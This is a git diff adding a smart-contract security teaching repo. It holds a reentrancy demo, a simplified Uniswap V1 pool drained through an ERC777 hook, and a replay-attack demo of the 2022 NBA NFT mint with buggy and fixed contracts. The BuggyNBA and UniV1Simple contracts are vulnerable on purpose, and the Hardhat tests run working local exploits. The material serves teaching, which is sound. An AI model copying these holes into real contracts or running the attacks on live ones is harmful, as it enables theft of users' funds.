+        emit ManagerChanged(_addr, _newManager);
+    }
+
+    /// @notice Get the manager of an address.
+    /// @param _addr Address for which to return the manager.
+    /// @return Address of the manager for a given address.
+    function getManager(address _addr) public view returns(address) {
+        // By default the manager of an address is the same address
+        if (managers[_addr] == address(0)) {
+            return _addr;
+        } else {
+            return managers[_addr];
+        }
+    }
+
+    /// @notice Compute the keccak256 hash of an interface given its name.
+    /// @param _interfaceName Name of the interface.
+    /// @return The keccak256 hash of an interface name.
+    function interfaceHash(string calldata _interfaceName) external pure returns(bytes32) {
+        return keccak256(abi.encodePacked(_interfaceName));
+    }
+
+    /* --- ERC165 Related Functions --- */
+    /* --- Developed in collaboration with William Entriken. --- */
+
+    /// @notice Updates the cache with whether the contract implements an ERC165 interface or not.
+    /// @param _contract Address of the contract for which to update the cache.
+    /// @param _interfaceId ERC165 interface for which to update the cache.
+    function updateERC165Cache(address _contract, bytes4 _interfaceId) external {
+        interfaces[_contract][_interfaceId] = implementsERC165InterfaceNoCache(
+            _contract, _interfaceId) ? _contract : address(0);
+        erc165Cached[_contract][_interfaceId] = true;
+    }
+
+    /// @notice Checks whether a contract implements an ERC165 interface or not.
+    //  If the result is not cached a direct lookup on the contract address is performed.
+    //  If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling
+    //  'updateERC165Cache' with the contract address.
+    /// @param _contract Address of the contract to check.
+    /// @param _interfaceId ERC165 interface to check.
+    /// @return True if '_contract' implements '_interfaceId', false otherwise.
+    function implementsERC165Interface(address _contract, bytes4 _interfaceId) public view returns (bool) {
+        if (!erc165Cached[_contract][_interfaceId]) {
+            return implementsERC165InterfaceNoCache(_contract, _interfaceId);
+        }
+        return interfaces[_contract][_interfaceId] == _contract;
+    }
+
+    /// @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache.
+    /// @param _contract Address of the contract to check.
+    /// @param _interfaceId ERC165 interface to check.
+    /// @return True if '_contract' implements '_interfaceId', false otherwise.
+    function implementsERC165InterfaceNoCache(address _contract, bytes4 _interfaceId) public view returns (bool) {
+        uint256 success;
+        uint256 result;
+
+        (success, result) = noThrowCall(_contract, ERC165ID);
+        if (success == 0 || result == 0) {
+            return false;
+        }
+
+        (success, result) = noThrowCall(_contract, INVALID_ID);
+        if (success == 0 || result != 0) {
+            return false;
+        }
+
+        (success, result) = noThrowCall(_contract, _interfaceId);
+        if (success == 1 && result == 1) {
+            return true;
+        }
+        return false;
+    }
+
+    /// @notice Checks whether the hash is a ERC165 interface (ending with 28 zeroes) or not.
+    /// @param _interfaceHash The hash to check.
+    /// @return True if '_interfaceHash' is an ERC165 interface (ending with 28 zeroes), false otherwise.
+    function isERC165Interface(bytes32 _interfaceHash) internal pure returns (bool) {
+        return _interfaceHash & 0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0;
+    }
+
+    /// @dev Make a call on a contract without throwing if the function does not exist.
+    function noThrowCall(address _contract, bytes4 _interfaceId)
+        internal view returns (uint256 success, uint256 result)
+    {
+        bytes4 erc165ID = ERC165ID;
+
+        assembly {
+            let x := mload(0x40)               // Find empty storage location using "free memory pointer"
+            mstore(x, erc165ID)                // Place signature at beginning of empty storage
+            mstore(add(x, 0x04), _interfaceId) // Place first argument directly next to signature
+
+            success := staticcall(
+                30000,                         // 30k gas
+                _contract,                     // To addr
+                x,                             // Inputs are stored at location x
+                0x24,                          // Inputs are 36 (4 + 32) bytes long
+                x,                             // Store output over input (saves space)
+                0x20                           // Outputs are 32 bytes long
+            )
+
+            result := mload(x)                 // Load the result
+        }
+    }
+}
\ No newline at end of file
diff --git a/security/1-reentrancy/uniAndImbtc/contracts/ImBTCSimple.sol b/security/1-reentrancy/uniAndImbtc/contracts/ImBTCSimple.sol
new file mode 100644
index 000000000..7a7910be4
--- /dev/null
+++ b/security/1-reentrancy/uniAndImbtc/contracts/ImBTCSimple.sol
@@ -0,0 +1,18 @@
+pragma solidity ^0.8.7;
+
+import "@openzeppelin/contracts/token/ERC777/ERC777.sol";
+import "@openzeppelin/contracts/access/AccessControl.sol";
+
+
+contract ImBTCSimple is AccessControl, ERC777 {
+
+    bytes32 public constant MINTER_ROLE = keccak256("minter");
+
+    constructor() ERC777("ImBTC","ImBTC Simplified Version",new address[](0)){
+        super._grantRole(MINTER_ROLE, msg.sender);
+    }
+    
+    function mint(address recepient, uint256 amount, bytes memory userData, bytes memory operatorData) external onlyRole(MINTER_ROLE){
+        _mint(recepient, amount, userData, operatorData);
+    }
+}
\ No newline at end of file
diff --git a/security/1-reentrancy/uniAndImbtc/contracts/UniV1Simple.sol b/security/1-reentrancy/uniAndImbtc/contracts/UniV1Simple.sol
new file mode 100644
index 000000000..fe5fa769f
--- /dev/null
+++ b/security/1-reentrancy/uniAndImbtc/contracts/UniV1Simple.sol
@@ -0,0 +1,68 @@
+pragma solidity ^0.8.7;
+
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+import "hardhat/console.sol";
+contract UniV1Simple is ERC20{
+
+    IERC20 private erc20;
+
+    constructor(address erc20_) ERC20("TEST", "TEST"){
+        erc20 = IERC20(erc20_);
+    }
+
+    //take ETH as input ,get token as output. Specify how much you sold
+    function ethToTokenInput(uint256 min_tokens) external payable returns(uint256){
+        uint256 eth_sold = msg.value;
+        uint256 eth_reserve = address(this).balance - msg.value;
+        uint256 token_reserve = erc20.balanceOf(address(this));
+        uint256 token_bought = getInputPrice(eth_sold, eth_reserve, token_reserve);
+        require(token_bought >= min_tokens, "UniV1: Not enough");
+        require(erc20.transfer(msg.sender, token_bought), "UniV1: Transfer failed");
+        return token_bought;
+    }
+
+    //take token as input, get eth as output. Specify how much input
+    function tokenToEthInput(uint256 token_sold) external returns(uint256){
+        uint256 eth_reserve = address(this).balance;
+        uint256 token_reserve = erc20.balanceOf(address(this));
+        uint256 eth_bought = getInputPrice(token_sold, token_reserve, eth_reserve);
+        payable(msg.sender).transfer(eth_bought);
+        require(erc20.transferFrom(msg.sender, address(this), token_sold), "UniV1: Transfer failed");
+        return eth_bought;
+    }
+
+    function addLiquidity(uint256 max_token) external payable returns(uint256){
+        if (totalSupply() > 0) {
+            uint256 eth_reserve = address(this).balance - msg.value;
+            uint256 token_reserve = erc20.balanceOf(address(this));
+            uint256 actual_token = (msg.value * token_reserve / eth_reserve) + 1;
+            require(actual_token <= max_token, "UniV1: Exceed limit");
+            require(erc20.transferFrom(msg.sender, address(this), actual_token), "UniV1: Transfer failed");
+            
+            uint256 liquid_minted = msg.value * totalSupply() / eth_reserve;
+            _mint(msg.sender, liquid_minted);
+            return liquid_minted;
+            
+        } else {
+            //mint initial uni tokens. how many?
+            //transfer erc 20 token (eth already added to balance)
+            uint256 initial_mint = address(this).balance;
+            _mint(msg.sender, initial_mint);
+            require(erc20.transferFrom(msg.sender, address(this), max_token), "UniV1: Transfer failed");
+            return initial_mint;
+        }
+    }
+
+
+    //(x+Δx) (y-Δy) = xy
+    //...
+    //Δy = (Δx * y) / (x + Δx)
+    //Note: To illustrate clearly I've ignore the fee parts
+    function getInputPrice(uint256 input_amount, uint256 input_reserve, uint256 output_reserve) internal pure returns(uint256){
+        input_amount = input_amount;
+        uint256 nominator = input_amount * output_reserve;
+        uint256 denominator = input_amount + input_reserve;
+        return nominator / denominator;
+    }
+}
\ No newline at end of file
diff --git a/security/1-reentrancy/uniAndImbtc/hardhat.config.js b/security/1-reentrancy/uniAndImbtc/hardhat.config.js
new file mode 100644
index 000000000..bc242b7f7
--- /dev/null
+++ b/security/1-reentrancy/uniAndImbtc/hardhat.config.js
@@ -0,0 +1,26 @@
+require("@nomiclabs/hardhat-waffle");
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async (taskArgs, hre) => {
+  const accounts = await hre.ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+// You need to export an object to set up your config
+// Go to https://hardhat.org/config/ to learn more
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: {
+    compilers: [
+      {version: '0.8.7'},
+      {version: '0.5.3'}
+    ]
+  }
+};
diff --git a/security/1-reentrancy/uniAndImbtc/package.json b/security/1-reentrancy/uniAndImbtc/package.json
new file mode 100644
index 000000000..34be19d00
--- /dev/null
+++ b/security/1-reentrancy/uniAndImbtc/package.json
@@ -0,0 +1,23 @@
+{
+  "name": "uniandimbtc",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "hardhat": "^2.9.9"
+  },
+  "devDependencies": {
+    "@nomiclabs/hardhat-ethers": "^2.0.0",
+    "@nomiclabs/hardhat-waffle": "^2.0.3",
+    "@openzeppelin/contracts": "^4.7.0",
+    "chai": "^4.3.6",
+    "erc721a": "^4.1.0",
+    "ethereum-waffle": "^3.2.0",
+    "ethers": "^5.0.0"
+  }
+}
diff --git a/security/1-reentrancy/uniAndImbtc/test/sample-test.js b/security/1-reentrancy/uniAndImbtc/test/sample-test.js
new file mode 100644
index 000000000..a10f1f3ce
--- /dev/null
+++ b/security/1-reentrancy/uniAndImbtc/test/sample-test.js
@@ -0,0 +1,128 @@
+const {expect} = require("chai");
+const { BigNumber } = require("ethers");
+const {ethers, network, waffle} = require("hardhat");
+require("@nomiclabs/hardhat-waffle");
+const util = require("../utils/utils");
+
+const provider = waffle.provider;
+
+describe("reentrancy attack",  function() {
+    var deployer, attacker;
+    const ercPoolAmount = ethers.utils.parseUnits("1000", 18);//by default demical is 18
+    const ethPoolAmount = ethers.utils.parseUnits("1000","ether");
+    const attackEth =  ethers.utils.parseUnits("100",18);
+    var erc1820, erc777, uniV1;
+
+    //Prepares
+    before(async function(){
+        [deployer, attacker] = await ethers.getSigners();
+        //Deploy ERC1820
+        erc1820 = await util.deploy1820(deployer);
+        //Deploy ERC777
+        erc777 = await util.deployErc777(deployer);
+        //Deploy Uniswap V1 and add liquidities
+        uniV1 = await util.deployUniV1(deployer, erc777);
+        //Add liquidity 
+        await (await erc777.connect(deployer).mint(deployer.address, ercPoolAmount, [], [])).wait();
+        await (await erc777.connect(deployer).approve(uniV1.address, ercPoolAmount)).wait();
+        await (await uniV1.connect(deployer).addLiquidity(ercPoolAmount, {value: ethPoolAmount})).wait();
+    });
+ 
+    it("reentrancy attack ", async function(){
+        // Check liquidity pool count
+        let ethPoolBefore = await provider.getBalance(uniV1.address);
+        let erc777PoolBefore = await erc777.balanceOf(uniV1.address);
+
+        console.log('Before attack:');
+        console.log(`[hacker]eth balance: ${ethers.utils.formatEther(await provider.getBalance(attacker.address))} ether` );
+        console.log(`[hacker]token balance: ${ethers.utils.formatUnits(await erc777.balanceOf(attacker.address), 18)} imBTC`);
+        console.log(`[victim]eth pool: ${ethers.utils.formatEther(ethPoolBefore)} ether`);
+        console.log(`[victim]erc777 pool: ${ethers.utils.formatUnits(erc777PoolBefore, 18)} imBTC`);
+        // Attacker deploy attacker contract
+        let AttackerContract = await ethers.getContractFactory('AttackerContract', attacker);
+        let attackerContract = await AttackerContract.deploy(uniV1.address, erc777.address, erc1820.address);
+        await attackerContract.deployed();
+        // Attacker allows uniswap to operate his money
+        await (await attackerContract.connect(attacker).prepare()).wait();
+        // Attacker trigger attack
+        for (i=0;i<1;i++) {
+            await (await attackerContract.connect(attacker).trigger({value:attackEth})).wait();
+        }
+        await (await attackerContract.connect(attacker).withdraw()).wait();
+        // Result
+        let ethPoolAfter = await provider.getBalance(uniV1.address);
+        let erc777PoolAfter = await erc777.balanceOf(uniV1.address);
+        console.log('After attack:');
+        console.log(`[hacker]eth balance: ${ethers.utils.formatEther(await provider.getBalance(attacker.address))} ether` );
+        console.log(`[hacker]token balance: ${ethers.utils.formatUnits(await erc777.balanceOf(attacker.address), 18)} imBTC`);
+        console.log(`[victim]eth pool: ${ethers.utils.formatEther(ethPoolAfter)} ether`);
+        console.log(`[victim]erc777 pool: ${ethers.utils.formatUnits(erc777PoolAfter, 18)} imBTC`);
+    });
+
+    const poolXRaw = '1000'; //ImBTC count
+    const poolYRaw = '1000'; //Ether count
+    const xSoldRaw = '10'; //ImBTC sold
+    const attackSplits = 10;
+    it("analysis - normal", async function() {
+        let poolX = ethers.utils.parseUnits(poolXRaw, 18);
+        let poolY = ethers.utils.parseUnits(poolYRaw, 18);
+        let xSold = ethers.utils.parseUnits(xSoldRaw, 18);
+
+        console.log(`[Before swap]poolX: ${ethers.utils.formatUnits(poolX,18)}`);
+        console.log(`[Before  swap]poolY: ${ethers.utils.formatUnits(poolY,18)}`);
+        let yBoughts = [];
+        let sum = BigNumber.from(0);
+        for (var i =0;i<attackSplits;i++) {
+            let partX =  xSold.div(attackSplits);
+            let bought = inputToOutput(poolX, poolY,partX);
+            poolY = poolY.sub(bought);
+            poolX = poolX.add(partX);
+            yBoughts.push(bought);
+            sum = sum.add(bought);
+        }
+
+        console.log(`xSold: ${ethers.utils.formatUnits(xSold,18)}`);
+        console.log('splits: ', attackSplits);
+        console.log(`yBoughts:${ethers.utils.formatUnits(sum, 18)}`);
+        for (var i =0;i<attackSplits;i++) {
+            console.log('[yBought]',ethers.utils.formatUnits(yBoughts[i], 18));
+        }
+        console.log(`[After swap]poolX: ${ethers.utils.formatUnits(poolX,18)}`);
+        console.log(`[After swap]poolY: ${ethers.utils.formatUnits(poolY,18)}`);
+    });
+    it("analysis - attack", async function() {
+        let poolX = ethers.utils.parseUnits(poolXRaw, 18);
+        let poolY = ethers.utils.parseUnits(poolYRaw, 18);
+        let xSold = ethers.utils.parseUnits(xSoldRaw, 18);
+        
+        console.log(`[Before swap]poolX: ${ethers.utils.formatUnits(poolX,18)}`);
+        console.log(`[Before  swap]poolY: ${ethers.utils.formatUnits(poolY,18)}`);
+        let yBoughts = [];
+        let sum = BigNumber.from(0);
+        for (var i =0;i<attackSplits;i++) {
+            let partX =  xSold.div(attackSplits);
+            let bought = inputToOutput(poolX, poolY,partX);
+            poolY = poolY.sub(bought);
+            yBoughts.push(bought);
+            sum = sum.add(bought);
+        }
+        poolX = poolX.add(xSold);//NOTE THIS!
+        console.log(`xSold: ${ethers.utils.formatUnits(xSold,18)}`);
+        console.log('splits: ',attackSplits);
+        console.log(`yBoughts:${ethers.utils.formatUnits(sum, 18)}`);
+        for (var i =0;i<attackSplits;i++) {
+            console.log('[yBought]',ethers.utils.formatUnits(yBoughts[i], 18));
+        }
+        console.log(`[After swap]poolX: ${ethers.utils.formatUnits(poolX,18)}`);
+        console.log(`[After swap]poolY: ${ethers.utils.formatUnits(poolY,18)}`);
+    });
+});
+
+function inputToOutput(poolX, poolY, xSold) {
+    //Fee is ignored
+    let nominator = xSold.mul(poolY);
+    let denominator = poolX.add(xSold);
+    return nominator.div(denominator);
+}
+
+
diff --git a/security/1-reentrancy/uniAndImbtc/utils/utils.js b/security/1-reentrancy/uniAndImbtc/utils/utils.js
new file mode 100644
index 000000000..097b6be59
--- /dev/null
+++ b/security/1-reentrancy/uniAndImbtc/utils/utils.js
@@ -0,0 +1,67 @@
+const {ethers, waffle} = require("hardhat");
+const abi = require("../artifacts/contracts/ERC1820.sol/ERC1820Registry.json");
+const provider = waffle.provider;
+
+async function deploy1820(owner){
+    //1. Prepare root transaction
+    let deployTx = {
+      nonce: ethers.utils.hexlify(0),
+      to: "",
+      data: '0x608060405234801561001057600080fd5b506109c5806100206000396000f3fe608060405234801561001057600080fd5b50600436106100a5576000357c010000000000000000000000000000000000000000000000000000000090048063a41e7d5111610078578063a41e7d51146101d4578063aabbb8ca1461020a578063b705676514610236578063f712f3e814610280576100a5565b806329965a1d146100aa5780633d584063146100e25780635df8122f1461012457806365ba36c114610152575b600080fd5b6100e0600480360360608110156100c057600080fd5b50600160a060020a038135811691602081013591604090910135166102b6565b005b610108600480360360208110156100f857600080fd5b5035600160a060020a0316610570565b60408051600160a060020a039092168252519081900360200190f35b6100e06004803603604081101561013a57600080fd5b50600160a060020a03813581169160200135166105bc565b6101c26004803603602081101561016857600080fd5b81019060208101813564010000000081111561018357600080fd5b82018360208201111561019557600080fd5b803590602001918460018302840111640100000000831117156101b757600080fd5b5090925090506106b3565b60408051918252519081900360200190f35b6100e0600480360360408110156101ea57600080fd5b508035600160a060020a03169060200135600160e060020a0319166106ee565b6101086004803603604081101561022057600080fd5b50600160a060020a038135169060200135610778565b61026c6004803603604081101561024c57600080fd5b508035600160a060020a03169060200135600160e060020a0319166107ef565b604080519115158252519081900360200190f35b61026c6004803603604081101561029657600080fd5b508035600160a060020a03169060200135600160e060020a0319166108aa565b6000600160a060020a038416156102cd57836102cf565b335b9050336102db82610570565b600160a060020a031614610339576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b6103428361092a565b15610397576040805160e560020a62461bcd02815260206004820152601a60248201527f4d757374206e6f7420626520616e204552433136352068617368000000000000604482015290519081900360640190fd5b600160a060020a038216158015906103b85750600160a060020a0382163314155b156104ff5760405160200180807f455243313832305f4143434550545f4d4147494300000000000000000000000081525060140190506040516020818303038152906040528051906020012082600160a060020a031663249cb3fa85846040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182600160a060020a0316600160a060020a031681526020019250505060206040518083038186803b15801561047e57600080fd5b505afa158015610492573d6000803e3d6000fd5b505050506040513d60208110156104a857600080fd5b5051146104ff576040805160e560020a62461bcd02815260206004820181905260248201527f446f6573206e6f7420696d706c656d656e742074686520696e74657266616365604482015290519081900360640190fd5b600160a060020a03818116600081815260208181526040808320888452909152808220805473ffffffffffffffffffffffffffffffffffffffff19169487169485179055518692917f93baa6efbd2244243bfee6ce4cfdd1d04fc4c0e9a786abd3a41313bd352db15391a450505050565b600160a060020a03818116600090815260016020526040812054909116151561059a5750806105b7565b50600160a060020a03808216600090815260016020526040902054165b919050565b336105c683610570565b600160a060020a031614610624576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b81600160a060020a031681600160a060020a0316146106435780610646565b60005b600160a060020a03838116600081815260016020526040808220805473ffffffffffffffffffffffffffffffffffffffff19169585169590951790945592519184169290917f605c2dbf762e5f7d60a546d42e7205dcb1b011ebc62a61736a57c9089d3a43509190a35050565b600082826040516020018083838082843780830192505050925050506040516020818303038152906040528051906020012090505b92915050565b6106f882826107ef565b610703576000610705565b815b600160a060020a03928316600081815260208181526040808320600160e060020a031996909616808452958252808320805473ffffffffffffffffffffffffffffffffffffffff19169590971694909417909555908152600284528181209281529190925220805460ff19166001179055565b600080600160a060020a038416156107905783610792565b335b905061079d8361092a565b156107c357826107ad82826108aa565b6107b85760006107ba565b815b925050506106e8565b600160a060020a0390811660009081526020818152604080832086845290915290205416905092915050565b6000808061081d857f01ffc9a70000000000000000000000000000000000000000000000000000000061094c565b909250905081158061082d575080155b1561083d576000925050506106e8565b61084f85600160e060020a031961094c565b909250905081158061086057508015155b15610870576000925050506106e8565b61087a858561094c565b909250905060018214801561088f5750806001145b1561089f576001925050506106e8565b506000949350505050565b600160a060020a0382166000908152600260209081526040808320600160e060020a03198516845290915281205460ff1615156108f2576108eb83836107ef565b90506106e8565b50600160a060020a03808316600081815260208181526040808320600160e060020a0319871684529091529020549091161492915050565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff161590565b6040517f01ffc9a7000000000000000000000000000000000000000000000000000000008082526004820183905260009182919060208160248189617530fa90519096909550935050505056fea165627a7a72305820377f4a2d4301ede9949f163f319021a6e9c687c292a5e2b2c4734c126b524e6c0029',
+      gasPrice:  ethers.utils.parseUnits("100", "gwei"),
+      gasLimit: 800000
+    }
+    //2. Specify VRS
+    var expandedSig = {
+      v: 27,
+      r: '0x1820182018201820182018201820182018201820182018201820182018201820',
+      s: '0x1820182018201820182018201820182018201820182018201820182018201820'
+    }
+    const signature = ethers.utils.joinSignature(expandedSig);
+    //3. Recover deployer address from above signature
+    const rsTx = await ethers.utils.resolveProperties(deployTx)
+    const raw = ethers.utils.serializeTransaction(rsTx) // returns RLP encoded tx
+    const msgHash = ethers.utils.keccak256(raw) // as specified by ECDSA
+    const msgBytes = ethers.utils.arrayify(msgHash) // create binary hash
+    const recoveredAddress = ethers.utils.recoverAddress(msgBytes, signature)
+    //4. Fund the transaction
+    let fundTx = {to: recoveredAddress, value: ethers.utils.parseEther("0.08")}
+    await (await owner.sendTransaction(fundTx)).wait()
+    //5. Send deploy transaction
+    const signedTx = ethers.utils.serializeTransaction(rsTx, signature);
+    const receipt = await (await provider.sendTransaction(signedTx)).wait();
+    console.log("ERC1820 deployed to ", receipt.contractAddress);
+    let erc1820 = new ethers.Contract(receipt.contractAddress, abi.abi, provider);
+    return erc1820;
+}
+
+async function deployErc777(owner) {
+  const ERC777 = await ethers.getContractFactory("ImBTCSimple", owner);
+  const erc777 = await ERC777.deploy();
+  await erc777.deployed();
+  console.log(`ImBTC(erc777) deployed to ${erc777.address}`);
+  return erc777;
+}
+
+async function deployUniV1(owner, erc20) {
+  const Uni = await ethers.getContractFactory("UniV1Simple", owner);
+  const uniV1  = await Uni.deploy(erc20.address);
+  await uniV1.deployed();
+  console.log(`Uniswap v1 deployed to ${uniV1.address}`);
+  return uniV1;
+}
+
+async function addMaliciousHookForSender() {
+  let [deployer, user1] = await ethers.getSigners();
+  const ERC777 = await ethers.getContractFactory("ImBTCSimple", deployer);
+  const erc777 = await ERC777.deploy();
+  await erc777.deployed();
+  
+  console.log(`ImBTC(erc777) deployed to ${erc777.address}`);
+}
+
+module.exports = {
+    deploy1820,
+    deployErc777,
+    deployUniV1,
+}
\ No newline at end of file
diff --git a/security/2-replay/nba/.gitignore b/security/2-replay/nba/.gitignore
new file mode 100644
index 000000000..36077f288
--- /dev/null
+++ b/security/2-replay/nba/.gitignore
@@ -0,0 +1,9 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+
+#Hardhat files
+cache
+artifacts
diff --git a/security/2-replay/nba/README.md b/security/2-replay/nba/README.md
new file mode 100644
index 000000000..306ed163e
--- /dev/null
+++ b/security/2-replay/nba/README.md
@@ -0,0 +1,44 @@
+
+
+# Background
+
+In 2022 April, NBA release its NFT and during its phase of whitelist minting, some unauthorized user stole 100 nfts.
+
+Here is the code:
+```
+    function mint_approved(
+        vData memory info,
+        uint256 number_of_items_requested,
+        uint16 _batchNumber
+    ) external {
+        require(batchNumber == _batchNumber, "!batch");
+        address from = msg.sender;
+        require(verify(info), "Unauthorised access secret");
+        _discountedClaimedPerWallet[msg.sender] += 1;
+        require(
+            _discountedClaimedPerWallet[msg.sender] <= 1,
+            "Number exceeds max discounted per address"
+        );
+        presold[from] = 1;
+        _mintCards(number_of_items_requested, from);
+        emit batchWhitelistMint(_batchNumber, msg.sender);
+    }
+```
+
+To put it simply, after authorized user Alice minted her token, another malicious user replay Alice's request which doesn't embedded any nonce inside, causing  _discountedClaimedPerWallet fail to prevent bob from minting tokens.
+
+Here is the [txn](https://etherscan.io/tx/0x2e2d9f262dcaa4a6ccdb047092f837b0f65ae533b34332428674d3f36308ff83): 
+
+I present a simplified version of this attack. Please refer to tests for more details.
+
+
+# How to use
+
+```
+npm install
+```
+
+
+```
+npx hardhat test
+```
\ No newline at end of file
diff --git a/security/2-replay/nba/contracts/BuggyNBA.sol b/security/2-replay/nba/contracts/BuggyNBA.sol
new file mode 100644
index 000000000..1b281061f
--- /dev/null
+++ b/security/2-replay/nba/contracts/BuggyNBA.sol
@@ -0,0 +1,52 @@
+pragma solidity ^0.8.7;
+
+import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
+import "@openzeppelin/contracts/access/Ownable.sol";
+
+contract BuggyNBA is ERC721, Ownable{
+    event batchWhitelistMint();
+
+    struct VData {
+        bytes32 message;
+        uint8 v;
+        bytes32 r;
+        bytes32 s;
+    }
+
+    mapping(address=>bool) private whitelists;
+
+    mapping(address=>bool) private minted;
+    
+    uint256 private counter;
+
+    constructor() ERC721("NBA", "NBA"){
+        
+    }
+
+    function setWhitelist(address[] memory users) external onlyOwner{
+        for (uint256 i=0;i<users.length;i++) {
+            whitelists[users[i]] = true;
+        }
+    }
+
+    function mint_approved(VData memory proof) external {
+        require(verify(proof), "Not in whitelist");
+        require(!minted[msg.sender], "already minted!");
+        minted[msg.sender] = true;
+        _mint(msg.sender, counter);
+        counter++;
+        emit batchWhitelistMint();
+    }
+
+
+    function verify(VData memory info) internal view returns(bool){
+        //must have the prefix: "\x19Ethereum Signed Message:\n" ‖ len(b) ‖ b
+        bytes32 data =
+            keccak256(
+                abi.encodePacked("\x19Ethereum Signed Message:\n32", info.message)
+            );
+        //console.log(hash);
+        address recovered = ecrecover(data, info.v, info.r, info.s);
+        return whitelists[recovered];
+    }
+}
\ No newline at end of file
diff --git a/security/2-replay/nba/contracts/SafeNBA.sol b/security/2-replay/nba/contracts/SafeNBA.sol
new file mode 100644
index 000000000..8d2efde32
--- /dev/null
+++ b/security/2-replay/nba/contracts/SafeNBA.sol
@@ -0,0 +1,53 @@
+pragma solidity ^0.8.7;
+
+import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
+import "@openzeppelin/contracts/access/Ownable.sol";
+
+contract SafeNBA is ERC721, Ownable{
+    event batchWhitelistMint();
+
+    struct VData {
+        bytes32 message;
+        uint8 v;
+        bytes32 r;
+        bytes32 s;
+    }
+
+    mapping(address=>bool) private whitelists;
+
+    mapping(address=>bool) private minted;
+    
+    uint256 private counter;
+
+    constructor() ERC721("NBA", "NBA"){
+        
+    }
+
+    function setWhitelist(address[] memory users) external onlyOwner{
+        for (uint256 i=0;i<users.length;i++) {
+            whitelists[users[i]] = true;
+        }
+    }
+
+    function mint_approved(VData memory proof) external {
+        address recovered = recover(proof);
+        require(whitelists[recovered], "Not in whitelist");
+        require(!minted[recovered], "already minted!");
+        minted[recovered] = true;
+        _mint(recovered, counter);
+        counter++;
+        emit batchWhitelistMint();
+    }
+
+
+    function recover(VData memory info) internal view returns(address){
+        //must have the prefix: "\x19Ethereum Signed Message:\n" ‖ len(b) ‖ b
+        bytes32 data =
+            keccak256(
+                abi.encodePacked("\x19Ethereum Signed Message:\n32", info.message)
+            );
+        //console.log(hash);
+        address recovered = ecrecover(data, info.v, info.r, info.s);
+        return recovered;
+    }
+}
\ No newline at end of file
diff --git a/security/2-replay/nba/hardhat.config.js b/security/2-replay/nba/hardhat.config.js
new file mode 100644
index 000000000..d265411fa
--- /dev/null
+++ b/security/2-replay/nba/hardhat.config.js
@@ -0,0 +1,24 @@
+require("@nomiclabs/hardhat-waffle");
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async (taskArgs, hre) => {
+  const accounts = await hre.ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+// You need to export an object to set up your config
+// Go to https://hardhat.org/config/ to learn more
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: "0.8.7",
+  networks: {
+    hardhat:{}
+  }
+};
diff --git a/security/2-replay/nba/package.json b/security/2-replay/nba/package.json
new file mode 100644
index 000000000..2089e749e
--- /dev/null
+++ b/security/2-replay/nba/package.json
@@ -0,0 +1,22 @@
+{
+  "name": "nba",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "hardhat": "^2.9.9"
+  },
+  "devDependencies": {
+    "@nomiclabs/hardhat-ethers": "^2.0.0",
+    "@nomiclabs/hardhat-waffle": "^2.0.3",
+    "@openzeppelin/contracts": "^4.6.0",
+    "chai": "^4.3.6",
+    "ethereum-waffle": "^3.2.0",
+    "ethers": "^5.0.0"
+  }
+}
diff --git a/security/2-replay/nba/test/tests.js b/security/2-replay/nba/test/tests.js
new file mode 100644
index 000000000..f3ba31c5c
--- /dev/null
+++ b/security/2-replay/nba/test/tests.js
@@ -0,0 +1,62 @@
+const {expect} = require('chai');
+const {ethers, network, waffle} = require('hardhat');
+
+require('@nomiclabs/hardhat-waffle')
+const provider = waffle.provider;
+
+describe("Replay mint on NBA", function() {
+    it("1. replay attack success", async function(){
+        const [owner, alice, bob] = await ethers.getSigners();
+       //1. Deploy NBA
+        const NBA = await ethers.getContractFactory("BuggyNBA", owner);
+        const nba = await NBA.deploy();
+        await nba.deployed();
+        console.log("nba contract deployed to ", nba.address);
+
+       //2. Set Alice as whitelist user
+        await (await nba.connect(owner).setWhitelist([alice.address])).wait();
+        console.log("alice ", alice.address, " already whitelisted");
+       //3. Alice create his proof and mint tokens
+        var message = ethers.utils.hexZeroPad("0xabcd", 32);
+        var signature = await alice.signMessage(ethers.utils.arrayify(message));
+        var sig = ethers.utils.splitSignature(signature);
+        const request = {
+            message: message,
+            v: sig.v,
+            r: sig.r,
+            s: sig.s
+        }
+
+        await (await nba.connect(alice).mint_approved(request)).wait();
+       //4. Bob replay Alice's proof and mint tokens without authorization 
+       await (await nba.connect(bob).mint_approved(request)).wait();
+       console.log("Bob now has ", await nba.balanceOf(bob.address), " tokens")
+    });
+
+    it("2. replay attack failed due to intercept", async function(){
+        const [owner, alice, bob] = await ethers.getSigners();
+       //1. Deploy NBA
+        const NBA = await ethers.getContractFactory("SafeNBA", owner);
+        const nba = await NBA.deploy();
+        await nba.deployed();
+        console.log("nba contract deployed to ", nba.address);
+
+       //2. Set Alice as whitelist user
